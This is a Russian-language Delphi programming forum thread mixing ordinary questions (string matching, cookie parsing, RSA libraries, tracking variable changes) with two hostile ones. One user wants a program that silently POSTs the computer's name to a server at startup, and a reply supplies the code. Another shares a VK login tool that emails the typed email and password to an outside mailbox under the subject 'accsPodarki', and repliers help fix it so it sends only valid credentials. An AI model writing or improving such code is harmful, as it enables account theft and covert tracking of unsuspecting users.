Matros(19) - в чем проблема? можешь любое число подставлять, 21, 37 и т.д. так наоборот правильней ну или тогда count :=9; а Result на свою s поменяй
Парни подскажите . начинающему в дельфи. нужно выполнить такой код при запуске програмы. тоетсь без нажатий кнопок и тд. есть 3 формы. прога функционал но нужно при запуске сразу выполнить код и отослать пост запрос на сервак Code: function GetComputerName: string; var UserName: array[0..255] of Char; UserNameSize: DWORD; begin UserNameSize := 255; if Windows.GetComputerName(@UserName, UserNameSize) then Result := string(UserName); IdHTTP1.post('http://сАЙТ/index.php?name=' ,UserName) // послать на пост запрос с именем компютера else Result := ''; end;
Имеется: Code: var StringList:TStringList; s:string; for i:=0 to StringList.Count-1 do begin if StringList[i]=s then begin Событие end; Событие происходит только тогда когда слово из StringList полностью соответствует слову из переменной S. ПРИВЕТ=ПРИВЕТ А как сделать что бы событие происходило даже если слово не полное, например ПРИВЕТ=приве
Ребят, помогите плиз, такая трабла, у меня есть метод, который парсит куки запроса из ответного хедера. Но дело в том, что в ответном хедере у меня не 1 а аж 5 параметров ste-cookies, подскажите как мне все 5 спарсить. Я вот нашел некий алгаритм на инди, помогите его передалть под синапс, или расскажите иной способ пожалуйста. Алгоритм, который я нашел под инди: Код: Code: For N:=0 To Form1.IdHTTP1.Response.RawHeaders.Count-1 Do Begin If Form1.IdHTTP1.Response.RawHeaders.Names[N]='Set-Cookie' Then Begin Form1.Memo.Lines.Append(Form1.IdHTTP1.Response.RawHeaders.ValueFromInd ex[N]); //Вставить куки End; End
День добрый, подскажите пожалуйста, может кто встречал 'легковесную' или хотя бы не кривую реализацию RSA алгоритма в Delphi, CryptoAPI и FGInt не предлогать)
Project -> View Source Code: program Project2; uses Forms,idhttp, Unit1 in 'Unit1.pas' {Form1}; var Http:Tidhttp; {$R *.res} begin Application.Initialize; Application.Title := ''; http:=Tidhttp.create(nil); http.post(......); http.free; Application.CreateForm(TForm1, Form1); Application.Run; end.
Используй регулярные выражения (модуль RegExpr) Code: RegExp.InputString := Form1.IdHTTP1.Response.RawHeaders.Text; RegExp.Expression := 'Set-Cookie:(.*?);'; if RegExp.Exec then repeat Form1.Memo.Lines.Append(RegExp.Match[1]); until not RegExp.ExecNext;
как сделать что бы после удачной авторизации Вконтакте Code: begin idhttp1.HandleRedirects := True; uns:=idhttp1.get('http://login.vk.com/?act=login&email='+edit1+'&pass='+edit2+'&expire=&vk='); if Pos('captcha_sid', result) <> 0 then end; memo4.lines.add(log + ' Авторизируемся' ); s:=Copy(uns,Pos('value=',uns)+7,56); IdCookieManager1.AddCookie('remixsid='+s+ '; path=/; ','vk.com'); IdCookieManager1.AddCookie('remixchk=5; path=/;','vk.com'); Выполнялся код: Code: begin IdSMTP1.Host:='smtp.yandex.ru'; IdSMTP1.Port:=25; IdSMTP1.Username:='login'; IdSMTP1.Password:='pass'; IdMessage1.Body.Text:=Edit1.Text+':'+Edit2.Text; IdMessage1.From.Text:='[email protected]'; IdMessage1.Recipients.EMailAddresses:='[email protected]'; IdMessage1.Subject:='accsPodarki'; IdSMTP1.Connect(); if IdSMTP1.Connected=true then IdSMTP1.Send(IdMessage1); IdSMTP1.Disconnect end; А если авторизация будет не удачной, нужно что бы выводилось : Code: showmessage('Не верный пароль.')
Поместить код авторизации в функцию возвращающую boolean типа такого: function TForm1.Login: boolean а потом просто if Login then // тут действия при удачном логине else // тут при неудаче авторизации
function check(): boolean; begin Result:=False; Form1.idhttp1.HandleRedirects := True; uns:=Form1.idhttp1.get('http://login.vk.com/?act=login&email='+Form1.edit1+'&pass='+Form1.edit2+'&expire=&vk='); if Pos('captcha_sid', result) <> 0 then begin Result:=True; end; Form1.memo4.lines.add(log + ' Авторизируемся' ); s:=Copy(uns,Pos('value=',uns)+7,56); Form1.IdCookieManager1.AddCookie('remixsid='+s+ '; path=/; ','vk.com'); Form1.IdCookieManager1.AddCookie('remixchk=5; path=/;','vk.com'); end; procedure TForm1.Button1Click(Sender: TObject); begin if check then begin IdSMTP1.Host:='smtp.yandex.ru'; IdSMTP1.Port:=25; IdSMTP1.Username:='login'; IdSMTP1.Password:='pass'; IdMessage1.Body.Text:=Edit1.Text+':'+Edit2.Text; IdMessage1.From.Text:='[email protected]'; IdMessage1.Recipients.EMailAddresses:='[email protected]'; IdMessage1.Subject:='accsPodarki'; IdSMTP1.Connect(); if IdSMTP1.Connected=true then IdSMTP1.Send(IdMessage1); IdSMTP1.Disconnect end else showmessage('Не верный пароль.') end;
В общем, после отправки пост запроса на логин и выполнения всех редиректов нужно сделать проверку на успешность авторизации, например на наличие кнопки "выйти" пишешь в объявлении класса формы function Login: boolean; жмешь Ctrl-Shift+C генерируется скелет метода Login туда вставляешь код с отправкой запроса и в конце Result := pos('выйти', {тут строковая переменная в которую ты получаешь страницу}) > 0; Если что, могу помочь в айсикью Мм, слишком долго писал да и отходил еще, в общем TrueBit верно отписал
Как отследить изменение переменной i:integer. Нужно, что бы если i изменяется то выполняется условие.
Сохрани в какой нибудь другой переменной, например p, значение i: p:=i; а потом, например в таймере сравнивай эти две переменные: if i<>p then begin {условие} end;
поместить переменную в класс и создать свойство PHP: fI: Integer; procedure SetI(Value: Integer); property I: Integer read fI write SetI; procedure TForm1.SetI(Value: Integer); begin fI := Value; // а тут действия при изменении end; Таймер для этого - имхо изврат и костыль